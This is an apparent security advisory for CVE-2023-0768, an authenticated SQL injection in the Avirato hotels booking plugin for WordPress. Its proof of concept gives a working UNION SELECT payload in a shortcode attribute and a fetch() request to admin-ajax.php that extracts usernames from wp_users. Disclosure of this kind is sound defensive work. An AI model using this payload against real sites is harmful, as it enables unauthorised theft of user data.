Avirato hotels online booking engine <= 5.0.5 – Subscriber+ SQLi | CVE 2023-0768

Description

The plugin does not validate and escape some of its shortcode attributes before using them in SQL statement/s, which could allow any authenticated users, such as subscriber to perform SQL Injection attacks.

Proof of Concept

[Calendario_Avirato id="1 UNION SELECT user_login COLLATE utf8mb4_unicode_520_ci FROM wp_users"] on a post (with at least Contributor role), or using the following fetch command with a Subscriber role:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[Calendario_Avirato id=\"1 UNION SELECT user_login COLLATE utf8mb4_unicode_520_ci FROM wp_users WHERE ID = 1\"]",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Note: COLLATE was used because of the character encoding of the database.